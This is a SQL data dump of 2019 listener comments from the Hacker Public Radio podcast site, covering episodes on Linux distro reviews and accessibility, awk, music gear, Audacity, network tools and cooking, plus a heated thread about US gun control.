(2723,2837,'2019-06-18 15:01:43','norrist','I like this kind of episode.','I like the episodes where the host wanders through a few short topics.   It reminds be of the old Dave Yates Lottalinuxlinks podcasts.','2019-06-18 15:11:55'),
(2724,2839,'2019-06-20 01:02:44','Mike Ray','Accessibility','Another Linux distro reviewing podcast in which the word accessibility was uttered exactly zero times.\r\n\r\nTwo distros reviewed, Linux Mint Debian Edition and Solus, if that is how it is spelt.\r\n\r\nThis podcast was 39 minutes (approx) in length, so assuming each distro had an equal share of time, then how much impact would be made by spending thirty seconds for each talking about accessibility?\r\n\r\nI want to know 2 things always:\r\n\r\n1. Is the installer accessible, whcih means can a blind person like me, not visually impaired, BLIND, install it without sighted help.  Is there a hot key which starts the Orca GUI screen reader, or speakup if it is a text-based installer.\r\n\r\n2. If I chose speech for the install, assuming number 1 is true, then when I reboot will it come up speaking.\r\n\r\nNote that I will not accept any Linux distro which I cannot install alone.  None of you would entertain any distro for which you had to run to a blind person for help installing.\r\n\r\nPlease, spend some time adding accessibility to your headings, otherwise this podcast is worse than useless to me and people like me','2019-06-20 09:18:45'),
(2725,2839,'2019-06-20 18:52:22','Bob','reply to Mike','I also listened to the podcast and not once did they mention the distro support for non Latin character sets ? Given the amount of people outside the English speaking world, surely they could have took some time to check Chinese support, and Arabic, and Russian, and Greek,  etc. !\r\n\r\nThey made no bones about the fact that they are reviewing the distros from their point of view only. Moss mentions using some proprietary office suite that I\'m sure the majority of HPR listeners are not using.\r\n\r\nBut are these gentlemen even the best people to include accessibility in their reviews? I don\'t think either of them have a need of, or have any experience using accessibility tools. Would we even be able to trust their assessment given that their inability to use them could simply be down to not knowing which key to use to enable support. Would they even know to check that the speech synthesizer is legible when sped up ?\r\n\r\nI would suggest that would be better done by someone who \"will not accept any Linux distro which I cannot install alone.\"\r\n\r\nSo why don\'t you contact the lads and ask them if they would be interested in having you join the show to review a distro entirely from an accessibility point of view.\r\n\r\nIf they are not I\'m sure that there would be an audience here on HPR that would love to hear it.','2019-06-20 20:37:32'),
(2726,2839,'2019-06-20 20:49:21','Mike Ray','Accessibility and non-English character sets','I don\'t think stuff about non-English character sets is very relevant here, since internationalization is part of the standard Linux base and available in all distros.  Perhaps whether language can be selected at install time is relevant, but since Tony, I think, mentioned that UK is Ukraine and not GB, or was that another podcast, these installers are both likely to include localization.\r\n\r\nI can\'t commit to joining anybody for a podcast, but I could offer a goodly amount of guidance as to what we, meaning blind people, need to know.\r\n\r\nOf course VI is just one aspect of accessibility.  Consider also people with limited or impaired fine motor control, or missing hands etc.\r\n\r\nAt the very least, I want to know one thing immediately with every distro...can I install it alone, IOW with no help from a light-slave.  If the answer is no, not interested.\r\n\r\nWindows 10 can now be installed by me, thanks to Narrator now being an excellent screen reader.  But then accessibility on Windows leaves Linux dead. Just one of the ways in which Windows, IOS, and Mac OS are all superior','2019-06-20 20:57:00'),
(2727,2839,'2019-06-21 14:25:31','Tony Hughes','Responce to Mike and Bob','Mike, you make a very valid point and we will bare accessibility issues in mind for future episodes, unfortunately not in time for this month as we had recorded on the Wednesday before HPR aired our first episode.\r\n\r\nWhile I have not had much experience in installing using voice guided installer it is worth looking at for any new reviews in the future.\r\n\r\nBob, as Mike says most modern distributions have very good support for other languages and in Episode 3 when talking about PCLinuxOS I mention the fact that the community forums have an international section which has a number of the most common languages covered, although I did not mention the number of languages supported at install, again worth the few seconds it would take to mention this at the install stage of the review. \r\n\r\nIt is this kind of feedback that is valuable, as a new podcast we are still in our infancy and learning what the community would find useful in this kind of show. \r\n\r\nThanks again for the Feedback\r\n\r\nTony Hughes\r\nDistrohoppers Digest','2019-06-21 14:37:46'),
(2728,2839,'2019-06-23 19:32:06','Bob','I wasn\'t serious','Hi Tony,\r\n\r\nI wasn\'t serious about trying all the languages. I was trying to highlight to Mike that it is impossible to cover every aspect of a distro and all you can cover is your own area of expertise. \r\n\r\nBob','2019-06-23 19:53:11'),
(2729,2839,'2019-06-25 07:37:21','Mike Ray','Accessibility','I understand that not every aspect of Linux distro review can be covered.  But accessibility is pretty fundamental, and all the time podcasts and developers ignore it, it will never get any better.\r\n\r\nAs I suggested, the podcast I heard was 39 minutes long, and reviewed 2 distros.  So that is approx 19 minutes for each.  If 30 seconds out of those 19 minutes just answered my single question, can I install it alone, or is there an SSH server running when any Live DVD or CD is booted, then I will be able to either immediately dismiss the distro, or give it more attention.\r\n\r\nSome distros are fundamentally bad. For example Regolith Linux uses the i3 window manager, which is a dead loss for accessibility.\r\n\r\nSome distros are a disgrace, like the interview Ken gave with the lead developer of Mint a couple of years ago when the dev declared \"we\'re not interested in accessibility.\"\r\n\r\nBut just take thirty seconds or so to answer a11y fundamentals.\r\n\r\nIt is very annoying when so many distros are Debian or Ubuntu derivatives, but have stripped out the speech from the installer','2019-06-25 07:57:44'),
(2730,2839,'2019-06-29 10:17:50','TonyH1212','Further responce to Mike and Bob','Thanks to you both for the feedback, Bob I figured you didn\'t expect a full run down of all the languages, but a quick few seconds to mention that languages other than English are listed or not is useful in a review. \r\n\r\nLikewise Mike, I appreciate your needs and a quick note to say if the distro is friendly to those with a sight impairment would assist many in the community. \r\n\r\nActually re visiting the last episode and PCLinuxOS I was not able to work out how I could enable a voice assisted install for this OS and likewise on a couple of others I tried in a VM, so mentioning this at the start of the review wouldn\'t take long.\r\n\r\nRegards Tony','2019-06-29 10:31:07'),
(2731,438,'2019-07-03 12:04:08','Viper','Archive of podcasts','Hello! I notice you have recommended FossGeek, and I would like to listen myself but have been unable to find a copy of the files... does anyone have a copy on an old hard disk I can have?\r\n\r\nThank you!','2019-07-03 12:09:27'),
(2732,2851,'2019-07-08 13:48:30','Ken Fallon','Cars parked over the put','Hi Jeroen,\r\n\r\nWhat do you do when cars are parked over the hydrants ?\r\n\r\nKen.','2019-07-08 14:31:57'),
(2733,2851,'2019-07-08 19:17:26','Kevin O\'Brien','I loved the show','I guess you never know when someone is going to do something unexpected yet awesome. I loved this show.','2019-07-08 19:36:33'),
(2734,2852,'2019-07-09 08:46:47','tuturto','thanks','Thank you for the series and the wrap-up episode. It\'s been a pleasure to follow to series and learn about awk. I don\'t use awk by myself, but it\'s always good to know that there are plenty of tools to choose from when there\'s specific need.','2019-07-09 11:16:34'),
(2735,2852,'2019-07-09 10:47:55','Hipstre','Thank You!','Thank you for the series, you guys! It was great. I learned more than I wanted to. I tried hard to not learn, but you made me. Not just about awk, but about programming, information theory, and data structures, history, bash, etc...','2019-07-09 11:16:34'),
(2736,2852,'2019-07-09 14:25:28','norrist','HPR Epic','This series will stand out as one of the highlights of HPR.  Thank you b-yeezi and Dave Morriss.','2019-07-09 14:27:20'),
(2737,2787,'2019-07-09 20:47:22','operat0r','Part2 ?','I still want to work on this but this is what I have so far:\r\n\r\n\r\nhttps://rmccurdy.com/scripts/PupProxyCheck/\r\n\r\nI want to convert my bash scripts in https://rmccurdy.com/scripts/proxy to puppeteer','2019-07-09 20:51:44'),
(2738,2854,'2019-07-11 04:31:40','tuturto','Bagpipes for the win!','Hilarious and informative episode at the same time. Thanks for recording it!','2019-07-11 08:20:55'),
(2739,2852,'2019-07-13 17:08:55','Dave Morriss','Many thanks for the kind words','Thank you tuturto, Hipstre and norrist for your comments!\r\n\r\nWe had a lot of fun putting the series together. I certainly found out more about awk than I knew before, and I think the same sentiment was expressed by my collaborator b-yeezi.\r\n\r\nThere\'s nothing quite like telling others about a thing to make you understand it better. ;-)','2019-07-13 17:10:12'),
(2740,2854,'2019-07-18 16:55:00','Dave Beck','Rusted Pipes','I\'m guessing that song wasn\'t written for the bagpipe.','2019-07-18 16:59:28'),
(2741,2854,'2019-07-18 17:38:23','jezra','pipes up!','Thank you tutoro; that bit of bad piping is a melody I learned after NYBill asked me for some audio to represent time passing. It is very few notes, but I always mess it up. :)\r\n\r\nIt should be noted that no songs were ever written for bagpipes. Songs are compositions that are to be sung by a voice, not played on an instrument. :)','2019-07-18 17:47:36'),
(2742,2859,'2019-07-29 00:18:43','dodddummy','I disagree with just about all the opinions expressed in this episode.','Chalk me up for the opposite on just about all the views expressed in this episode.  Just in case someone puts together a debate :)  \r\n\r\nGood to hear the discussion but I sure do disagree with so much of what was said.\r\n\r\nHere\'s to your right to say it!','2019-07-29 09:36:15'),
(2743,2859,'2019-07-29 00:25:46','dodddummy','1st hour, that is.','The last comment was referring to the first 1hr of the episode.','2019-07-29 09:36:15'),
(2744,2869,'2019-08-01 14:29:33','Jon Kulp','Recycled Recumbents','What a pleasure to hear this show and to know I had some small part in inspiring you to do it! That\'s tremendous. I haven\'t ridden my recumbent in about a year mainly because when we moved to the new house I didn\'t have room for it. It is still at my old house in the storage shed, but we\'ve recently cleared out some space in the garage and I\'m going to bring it over and start riding it to work again. It still rides great and still elicits many comments from all who see it. Best of luck with yours, mine was definitely the most satisfying project I\'ve ever done. \r\n\r\nBTW my daily ride now is the 1985 Schwinn World Tour I was working on in HPR episode 2154. I love this bike too!','2019-08-01 14:32:10'),
(2745,2859,'2019-08-05 10:27:06','Mike Ray','First hour','Ridiculous comments about guns, as usual from most \'leftpondians\'.\r\n\r\nIn countries where it is very, very difficult to get hold of guns, there are virtually no mass shootings.\r\n\r\nI see Fox News etc, and by etc I mean right wing media, are blaming video games for this last weekends 2 mass shootings.\r\n\r\nJapan is a culture with a deeper video game habit than the US, but there are no mass shootings.  Reason?  Two-fold, it is not video games doing it, and, more importantly, guns are very rare in Japan.\r\n\r\nIf you make it easier for a teenager to buy an assault rifle than it is to buy a six pack, you will get mass shootings.\r\n\r\nEspecially when you have a white supremecist as a president.\r\n\r\nAnd don\'t give me that shit about needing an AK47 fitted with a 100 round mag to keep the racoons away from your bins','2019-08-05 10:55:50'),
(2746,2859,'2019-08-05 18:44:09','MrsXoke','To Mike Ray','What is a leftpodian?   \r\n\r\nIn countries where it is difficult to get guns there are fewer mass shootings, however, there is not less violence. The vehicle for the violence is different. Not the violence.\r\n\r\nI saw one commentator of Fox blame video games, and a number of others ignore or question that belief. Sadly you can\'t believe anything you see on TV as a whole any more.\r\n\r\nJapan is a culture with deeper roots in family and the importance of morality. They don\'t necessarily agree with the \"to each their own\" adage that western society loves. They openly shame anything and anyone that does not fit their norm. Societal acceptance is a major driving force in all that they do. Perhaps that is what is missing? A society enforced moral code and shaming when you don\'t fit in the box? Is that what we should go back to? \r\n\r\nI don\'t condone and it isn\'t easy for a teenager to buy alcohol, drugs, or firearms here. I do believe in education for all of those things. I also know that there are always the ones that get or do these things anyway. Maybe this is where the Japan method comes in? In the past in this nation more homes have guns, and more homes had both parents, and maybe a strong family bond, and parents that enforced social norms helped? I don\'t know the answer and decades of change would be required and still not provide true proof.\r\n\r\nWhy is it that a conversation cannot be held without a person who doesn\'t like Trump, bringing him up? He really isn\'t the biggest problem this nation has.  He certainly isn\'t the solution, but isn\'t the biggest problem. I don\'t like him either, but lets dispense with using Trump is a racist as a defense for a point of view. \r\n\r\nI live in a country that has a group of people who have decided that they are accepting and tolerant of everyone unless you own guns, have conservative values, attend church and believe in Christian values. This hypocrisy is why there is so much division and hatred. I can\'t speak for other nations.','2019-08-05 19:10:45'),
(2747,2859,'2019-08-06 00:24:29','Mike Ray','To Mike Ray','\'Leftpondian\'.  Person who is on the eastern side of the Atlantic, IOW, an American. As opposed to a \'Rightpondian\', a person on the eastern side of \'the pond\', IOW a European.  Not meant as an insult, just a common idiiom.\r\n\r\nYou know, Europe, that place where we have no \'right to bare arms\' which was written when all guns fired a single shot and then took a minute or so to reload, or when the people you were busy slaughtering in their millions were keen to kill you.\r\n\r\nA time when there were no shopping malls and no enclosed school or college campuses which are easy targets for some evil nutter with an assault rifle, which he or she got out of a vending machine, or so it seems.\r\n\r\nWords that are no longer fit for purpose.\r\n\r\nCan\'t buy a Kinder Egg, it\'s a choking hazard to the toddler on the back seat of the car, sitting next to mom\'s purse, from where he/she can so easily pluck her gun and shoot her in the back of the head.\r\n\r\n1987, Federal government ban steel tipped lawn darts after just ONE toddler is killed by one.  But don\'t take away our right to pack war hardware just in case we have to stop the odd racoon pitching over the dumpsters, despite thousands of young and old alike being killed year on year for no better reason than the power of the gun lobby\r\n\r\n\'The best thing to stop a bad guy with a gun is a good guy with a gun.\'  Don\'t see many examples of this happening','2019-08-06 07:49:31'),
(2748,2859,'2019-08-06 06:16:35','Mike Ray','Active shooter drills','I understand it is normal in the USA now for many schools to drill the kids on what to do in the event of an active shooter.\r\n\r\nAny society where that is necessary has a fundamental problem.\r\n\r\nThere is no justification for the private ownership of automatic or semi automatic weapons.\r\n\r\nAnd we could all stay silent on the subject of the far right and routinely homophobic, Islamophobic, sexist morons taking over power.  But what is that quote?  All it takes for evil to flourish is for good men to do nothing.  That is a quote so I make no apology for the masculine \'men\'.  It equally applies to any gender nowadays.\r\n\r\nI believe that part of the constitution that enshrines \'the right to bare arms\' was written before repeating weapons even existed.  So that part is no longer fit for purpose.\r\n\r\nHere in the UK even owning a hand gun will get you four years in prison, even before you use it to commit any fellony.  And we have not had a mass shooting since the 1996 Dunblane massacre that lead to the changes in the law.\r\n\r\nWe are certainly not telling our kids \"run, tell, hide\" or otherwise drilling them on what to do in the event that anything more serious than the wheels falling of the bus occurs','2019-08-06 07:49:32'),
(2749,2859,'2019-08-06 06:22:54','Mike Ray','Faith and values','And by the way, I do not accept that morality is in decline because of the decline in Church going or church going values.  Church goers do not have a monopoly on morality.  I have never set foot in a church voluntarily in all my 55 years, but I have a very strong sense of right and rong.\r\n\r\nSome of the things I regard as wrong...shooting people, telling non-whites who were born here to \"go back where you came from\", sexually assaulting small boys left in my charge, demanding money with evangelical menaces to fund my private jets, refusing to teach evolution in schools, denying the poorest in society medical care to keep taxes for the richest as low as possible','2019-08-06 07:49:32'),
(2750,2859,'2019-08-08 14:06:43','folky','You can fastforward','Mike and dodddummy, I\'m, completly on your side. But you know, you can fastforward. It\'s not the first time you get such opinions on the NYE-show and nowadays I just jump to the next 10-minute-chunk and if necessary the next, because it\'s not worth wasting lifetime to listen to it and get upset.','2019-08-08 14:16:01'),
(2751,2876,'2019-08-12 10:52:07','Bookewyrmm','Salt','Many times if you know there is too much salt, (especially in soup) you can add a 1/2 of a peeled potato and it will absorb the salt. The potato can be either cooked and eaten or discarded.','2019-08-12 11:20:56'),
(2752,2863,'2019-08-13 23:13:49','clacke','Dynamic vs static linking doesn\'t matter','Thank you for your thoughts! I started listening thinking I would agree, but I didn\'t.\r\n\r\nVulnerabilities do not generally come in through technical details like what style of linking is used. Your attack surface remains the same. Vendoring the code doesn\'t help either, that\'s just a distribution and versioning issue.\r\n\r\nThe only real way to reduce dependencies is to reduce them; Write the code ourselves, or make sure we fully understand our dependencies.\r\n\r\nHere\'s an article that goes further into this: https://medium.com/@kori/systems-easily-understandable-by-one-person-f92e8613e2e','2019-08-14 07:18:14'),
(2753,2876,'2019-08-17 16:27:43','Windigo','Re: Salt','Thanks Bookewyrmm, I will definitely give that a try!','2019-08-17 18:08:03'),
(2754,2876,'2019-08-20 16:56:53','Dave Morriss','Loved this. I was right there with you in the kitchen','Hi Windigo,\r\n\r\nGreat show. I loved the detail and the ambient sounds.\r\n\r\nI was preparing a giant batch of ratatouille as I listened - for my kids who don\'t live with me, but for whom I make dinner two to three nights each week.\r\n\r\nHearing you taking the picture I dashed to the notes to look at it but ... nothing!!\r\n\r\nStill, the meal sounded great.\r\n\r\nBest wishes,\r\nDave','2019-08-20 17:38:12'),
(2755,2884,'2019-08-22 02:36:10','Clinton Roy','fantastic','Thank you so much for this episode, I\'ve never heard someone go through this process, it was wonderful to go along the ride with you.','2019-08-22 08:25:10'),
(2756,2884,'2019-08-22 09:54:21','tuturto','awesome','This was really great episode to listen to. Reminded me of times when we messed around with 4 tracks as students.','2019-08-22 10:13:03'),
(2757,2882,'2019-08-22 13:56:32','Dave Morriss','Great project and excellent show','I installed ONICS after your first show about it but didn\'t use it much. I haven\'t had a great need to do network monitoring or troubleshooting in the interim.\r\n\r\nI reinstalled after this show and followed along with your examples and found them very helpful. The capabilities of ONICS seem very impressive. I\'m looking forward to hearing more!\r\n\r\nDave','2019-08-22 14:03:05'),
(2758,2881,'2019-08-22 17:39:19','Jonathan Kulp','Automation is nice','Thanks for the shoutout, Ken. I love this clever use of the silence finder. I&rsquo;ve never tried this but definitely will next time I&rsquo;m transferring an LP.  Nicely done!','2019-08-22 19:57:58'),
(2759,2884,'2019-08-22 20:31:24','jezra','super fun!','What a fun episode. Thank you. Did you determine the HPR melody by ear, or did you happen to stumble upon some sheet music?','2019-08-22 20:55:58'),
(2760,2884,'2019-08-22 22:35:35','Jon Kulp','By ear','Thanks for the comments,y\'all. There\'s no sheet music as far as I\'m aware. I sat down and wrote out a chord sheet about 10 minutes before I started recording haha! I\'ve been doing this a long time and it\'s not a very hard song. It does have one strange chord progression that I had to think about a couple of times before I figured it out, but otherwise it\'s pretty easy. I also ran through the melody a couple of times on the harmonica. It was fun. Maybe sometime I\'ll do a proper job of it and make a recording without annoying mess-ups that can actually be used as the outro music.','2019-08-23 07:20:14'),
(2761,2884,'2019-08-24 12:26:05','mcnalu','4tracks4TW','Loved this show. I had a four track which was a model up from this I think - a Portasound 04. I got it in 1987 or 1988 and recorded a lot of music on it and pushed it to its absolute limit by bouncing tracks. In fact I still have that four track and all the cassettes so I promise herewith to dig it out from the back of the cupboard and see if it works in an upcoming HPR show. Thanks Jon, superb stuff!','2019-08-24 12:44:07'),
(2762,2884,'2019-08-24 13:44:52','Jon Kulp','Can&rsquo;t bounce','Hey McNalu that&rsquo;d be great to hear you do a show about your 4-track! One of the things mine **can&rsquo;t** do is bounce multiple tracks down to one and free up tracks for more. The Porta 02 is REALLY minimal. Bouncing is a key feature of typical 4-tracks and it would fill a significant gap in my coverage if you talked about that for us. I&rsquo;d love to hear that.','2019-08-24 13:48:16'),
(2763,2882,'2019-08-25 13:41:10','Gabriel Evenfire','Good to hear','Thanks for the feedback Dave, and glad that this installation went more smoothly than the last one.  Next episode is in and I\'ve scripted about half of the one to follow.','2019-08-25 13:42:39'),
(2764,2887,'2019-08-27 06:29:03','tuturto','Eagerly waiting for more','I\'m sitting on edge of my seat, waiting to have more of this to listen to. Interesting topic and very close to my heart.','2019-08-27 06:49:52'),
(2765,2887,'2019-08-28 19:01:00','Ken Fallon','A future podcast in the future feed','https://hackerpublicradio.org/rss-future.php','2022-02-14 13:25:11'),
(2766,2884,'2019-08-29 04:25:54','johanv','great show','I was listening to this with a big smile on my face. It was great fun to hear you actually create this piece of craftmanship!','2019-08-29 08:14:34'),
(2767,2890,'2019-08-31 13:04:02','Dave Morriss','solder/\"sodder\"/souder','Hi Ahuka,\r\n\r\nI always enjoy your reports from Penguicon. This one was great!\r\n\r\nAs to your reflection on the pronunciation of the word \"solder\" I have a few remarks:\r\n\r\n- The word is derived from the Latin \"solidare\" - to make solid\r\n\r\n- Yes, the British do generally pronounce it to rhyme with \"colder\" and \"folder\". This seems to make sense given that its form is very similar. Pronouncing \"folder\" as \"fodder\", even in dialect, would be very confusing, for example.\r\n\r\n- The French equivalent is \"souder\", which sounds (to my ears) like \"sooday\".\r\n\r\n- I have seen it suggested that the USA pronunciation is derived from the French.\r\n\r\nLanguage is fun! I recently bought a Chinese hot air soldering gun (SMD Rework Station) from Amazon. I particularly like the legend on the box which says:\r\n\r\n\"Soft and spiral wind can welds all chips\"\r\n\r\nWords to live by ;-)','2019-08-31 13:06:08'),
(2768,2881,'2019-09-01 10:00:00','Hipstre','2881 - Audacity: Split Album into Tracks','Thank you, Ken! Combined with youtube-dl, one can pretty much acquire every single piece of music one has ever wanted in a single night with this. You\'ve sped up my workflow considerably. Also great for breaking podcasts into chunks, if like me, one has a car stereo with an incredibly slow fast-forward/rewind function.','2019-09-01 14:14:40'),
(2769,2891,'2019-09-02 11:54:54','Ken Fallon','Where was Ken ?','I ran out of gas! I got a flat tire! I didn&rsquo;t have change for cab fare! I lost my tux at the cleaners! I locked my keys in the car! An old friend came in from out of town! Someone stole my car! There was an earthquake! A terrible flood! Locusts! IT WASN&rsquo;T MY FAULT, I SWEAR TO GOD!','2019-09-02 11:57:24'),
(2770,2891,'2019-09-03 13:40:00','Jon Kulp','Heroic effort!','Great job on the Community News, Dave. Thanks for stepping up and flying solo.','2019-09-03 13:56:23'),
(2771,2891,'2019-09-04 12:51:17','Dave Morriss','Thanks Jon','I was slightly shocked at being there on my own, but I have \"ridden shotgun\" a few times now and have done a few shows with other co-hosts, so I didn\'t panic ;-)\r\n\r\nI\'m glad it turned out tolerably well, and now that Ken has been released by the Dutch Mafia/Yakuza/aliens we\'ll hopefully be back to normal next time!','2019-09-04 12:52:30'),
(2772,2893,'2019-09-05 16:06:37','timttmy','Trem pedal','Hi NYbill \r\nGlad to hear you got the trem pedal working.\r\nIt came from ebay. If anyone wants to try and build one just search for.\r\nDIY Tremolo Pedal All Kit With 3PDT Switch and 1590B\r\nI may grab one for myself but first I\'ve got to finish rebuilding my guitar.','2019-09-05 16:07:44'),
(2773,2895,'2019-09-06 08:15:08','Ken Fallon','Very dissapointed','Just walked around the neighbourhood and all four have a parked over it. I was hoping that the solution to covered hydrants was to crush the cars, but alas.','2019-09-06 08:16:34'),
(2774,2893,'2019-09-06 13:31:13','Jon Kulp','No delay','Bill! Thank you so much for closing the loop on this project. You really left us hanging with part 1 of it. Very glad to hear that you got it working. \r\n\r\nI\'m sorry to report that I ordered a similar kit from China for a digital delay pedal for about $20, and after assembling it, all I got was a loud hum and couldn\'t even get the case to close right. I don\'t think I\'m cut out for assembling small electronics. The \"instructions\" were exactly like yours, simply a photocopy of the circuit board without any real instructions.','2019-09-06 13:35:06'),
(2775,1328,'2019-09-06 18:14:21','Vegewurst','Insightful','As someone who\'s just started working on a general adult psychiatry ward I really appreciated hearing what it was like on the other side of the curtain.\r\n\r\nI will never claim to understand what it\'s like to have such a condition but I feel like I have a better idea. One thing we are taught is that patients with schizophrenia are more often scared than anything else (before angry, violent, dangerous, manipulative, whatever negative preconception you want to put in) and your podcast has really confirmed that for me!\r\n\r\nThank you!\r\n','2019-09-09 15:01:37'),
(2776,2893,'2019-09-07 03:35:24','NYbill','Hit and Miss','Thanks for cluing us in on the source, Timttmy.\r\n\r\nJon, these things are a trick. I really think some manufacturer orders 10,000+ of these from China, assembled,  then brands them all for resale. \r\n\r\nThe factory making them might as well sell a kit with all the parts and make some money on the side.  :P\r\n\r\nHowever, you\'re left on your own to figure the thing out. \r\n\r\nThen again I do like a challenge. It was a fun project.','2019-09-07 08:57:22'),
(2777,2895,'2019-09-10 18:14:57','Steve','Volunteer Firefighters','You\'ve said that you are a volunteer fire fighter. I\'m wondering if most fire firefighters in the Netherlands are volunteers. In the US there are volunteer departments for sure in rural and small town areas. But most of the medium to larger cities have fire departments where the fire fighters are employees of the city or county.','2019-09-10 18:32:41'),
(2778,2904,'2019-09-23 11:16:43','tuturto','clever','Really clever way of doing this. When I saw the headline, my mind started immediately working through all kinds of algorithms one could use shortening urls. Turns out, nothing complicated is needed.','2019-09-23 11:18:27'),
(2779,2909,'2019-09-27 13:08:48','archer72','Interesting','I want to say that this is a very interesting topic.  I may not understand it all, but there are many people here who would take well to this subject.  Keep it up.','2019-09-27 13:12:38'),
(2780,2910,'2019-09-27 13:11:46','archer72','Nice show','If I was not already on Mastodon, this would be an enticing move.','2019-09-27 13:12:38'),
(2781,2906,'2019-09-27 13:14:43','archer72','Nice show','Way above my head, but great show.','2019-09-27 13:19:56'),
(2782,2903,'2019-09-27 13:17:33','archer72','Awesome','I really hope this takes off.   I would be a great addition to the next Raspberry Pi edition.','2019-09-27 13:19:56'),
(2783,2907,'2019-09-27 13:20:56','archer72','Nice series','I am enjoying this series, the banter between everyone is pretty cool.','2019-09-27 13:31:58'),
(2784,2844,'2019-09-29 14:56:15','Michael','Muffled sound because of low path filtering.','Hello Jon,\r\n\r\nlate comment, but I have a huge lag in listening.\r\n\r\nOne more explanation of the muffled sound when playing back at quarter speed, is the inherent low path filtering of the process of getting the sound on the reel. Assume, the original track contains tones in the 10 kHz range, these become 40kHz tones in the sped up version. When playing the quick version to record them on tape, the player has to correctly reproduce those high pitched tones and the recorder has to be able to bring those to tape. Depending on the frequency response of this chain, I expect this to be the bottle neck. When playing at quarter speed, the highest pitch you will get is only a fourth of the highest frequency the recorder could handle.\r\n\r\nRegards,\r\nMichael','2019-09-29 15:03:43'),
(2785,2913,'2019-10-02 19:50:19','ClaudioM','+1 on Chocolatey Recommendation','Really enjoyed the episode.  I\'ve known about Chocolatey for some years now and it\'s been a godsend for me when I have to use Windows at work (I primarily use Linux and OpenBSD).  I actually have a scheduled task that runs the \"cup all -y\" command daily (this command sequence upgrades all packages installed via Chocolatey and accepts all prompts).  I also use MSYS2 for a proper Unix-like shell with pacman for running updates so that I can use all the CLI apps I use on Linux/OpenBSD.  PSTools is another suite of tools that I can\'t live without.\r\n\r\nUltimately, one needs to use the tools that work for them, whatever that is.  If it\'s Windows or macOS, great.  If it\'s Linux or a BSD or something completely different, great.  If it\'s TempleOS, I\'ll have to raise an eyebrow, but still, great. :-)','2019-10-02 20:07:46'),
(2786,2915,'2019-10-04 09:12:13','Ken Fallon','More shows on ....','MrChromebox.techCustom coreboot firmware and firmware utilities for your Chromebook/Chromebox\r\nCockpit\r\nControlling the lid display and sleep with logind.conf - Login manager configuration file\r\nWake-on-LAN\r\nUSB-C Docks and Linux\r\nREAPER Digital Audio Workstation\r\n\r\n\r\nNo pressure.','2019-10-04 12:48:08'),
(2787,2900,'2019-10-05 18:27:39','Jeroen baten','Hope you will find time to discuss Okuna','Hi,\r\n\r\nI really loved to listen too this show and learned a thing or two.\r\n\r\nAs one of the sponsors of the Okuna (previously Openbook) kickstarter project I really look forward to your review of this in one of your shows if you ever find time or interest.\r\n\r\nKind regards,\r\nJeroen Baten','2019-10-05 19:45:56'),
(2788,2911,'2019-10-05 20:58:37','Beeza','HPR 2911','Hi Jezra.\r\n\r\nI use a Wireless ISP in Shropshire, a rural county in England. The signal is bounced between relays mounted on the hilltops and beamed down to villages and farms below. The \"line of sight\" problem is resolved by having a few low power sub-relays positioned around the area at lower elevations. For example, I cannot see my nearest relay from the roof of my house, but a grain silo on the farm next door can, so I take my signal from a sub-relay mounted on top of the silo. It works great and, since the ISP is only a small company it must be quite cheap too.\r\n\r\nPerhaps one of the WISPs in your area could be persuaded to look into this approach to expand their customer base.','2019-10-05 21:03:05'),
(2789,2900,'2019-10-05 21:48:23','Kevin O\'Brien','No plans for now','I don\'t have any plans to cover Okuna. Maybe you can do a show on that.','2019-10-05 21:56:03'),
(2790,2909,'2019-10-07 23:15:34','Gabriel Evenfire','Thanks for the feedback','Hey, thanks for the feedback.  I\'ll try to continue to build on the \"fundamentals\" as the series continues.','2019-10-08 06:55:09'),
(2791,2906,'2019-10-07 23:20:55','Gabriel Evenfire','Love the idea here...','Hey b-yeezi, just wanted to say that I really enjoyed this one.  The topic of data analysis is definitely fascinating.  Clearly, from your comments, some folks don\'t have data mining or data science in mind when they build applications, but this episode gives one a very strong notion of why everyone should.','2019-10-08 06:55:10'),
(2792,2909,'2019-10-17 08:48:15','gerryk','Yet another top episode','Thanks for another top episode, Gabriel. Though I am pretty experienced in this field, I stil find this stuff fascinating &amp; educational.\r\nI have finally gotten round to downloading ONICS and look forward to playing with it.\r\n/ Gerry','2019-10-17 09:42:55'),
(2793,2921,'2019-10-17 19:33:28','jezra','what a fun adventure','stinging nettles, and cobwebs, and badgers!  :)','2019-10-17 19:48:06'),
(2794,2921,'2019-10-17 20:36:42','Kevin O\'Brien','I loved the show','I agree with Jezra, this was tons of fun.','2019-10-17 20:54:14'),
(2795,2925,'2019-10-19 19:09:39','lostnbronx','I Never Met Fifty, But I Knew Him','I posted this over at the memorial wall for his obituary, but it probably bears repeating here.\r\n\r\nI knew him by his online handle, 5150. He was simply a great, great guy. A fine podcaster, and tireless member of the Hacker Public Radio community, among others.\r\n\r\nHe offered encouragement by the bucketful, and constructive criticism where needed. A good soul, and a man of strong character, who displayed loyalty and dependability each time I spoke with him.\r\n\r\nI never met the man, but Fifty was my good friend.\r\n\r\nMay he rest well.','2019-10-21 13:40:16'),
(2796,2895,'2019-10-20 09:52:32','Don','great podcast','hi Jeroen, After meeting you at Oggcamp19, it is great to put a face to the voice, hope the talk went well on the Sunday, also after meeting you and Yannick (and the crew at the HPR stand) I am inspired to look and see if there is anything I can do a podcast about (so I can contribute back to the community). Take care my friend and thank you for sharing your experiences in such an enjoyable/informative way.\r\nDon','2019-10-21 13:40:17'),
(2797,2928,'2019-10-29 20:11:07','b-yeezi','Thanks for this episode','I may be in the minority, but I love thinking about Markov Chains and other probabilistic algorithms. It is interesting how this is implemented in Haskell. Comparing it to the same algorithm in Python allowed me to follow Haskell structure and syntax for the first time.','2019-10-29 20:12:45'),
(2798,2928,'2019-10-31 07:31:47','tuturto','thanks for the feedback!','b-yeezi, hearing that you were able to follow Haskell structure and syntax made me extremely happy! It\'s quite alien looking language with odd syntax and explaining it in podcast is pretty hard for me.\r\n\r\nMarkov chains (and other procedural generation methods) are close to my heart as I have been tinkering with games for a long time. I rather try and write algorithm that generates me content and be surprised by the results than write it by myself and know exactly what to expect.','2019-10-31 09:13:34'),
(2799,2936,'2019-11-04 01:11:34','lostnbronx','Ken\'s Voice Is Better Than espeak','For my part, Ken\'s reading of the opening info is far, far better than espeak. Then again, a screaming cat would be better. I\'ve brought up what an incredible turn-off that espeak intro is to new listeners on the email list before, and was hooted down. But, if you\'re asking for opinions, well, this is mine.','2019-11-04 07:34:41'),
(2800,2935,'2019-11-05 09:07:52','Ken Fallon','That sucks','2400 liters per second is 2.4 m^3/s (cubic meters per second) or 84,76 ft&sup3;/s or 634,01 gallons_per_second_us_liquid','2019-11-05 09:13:55'),
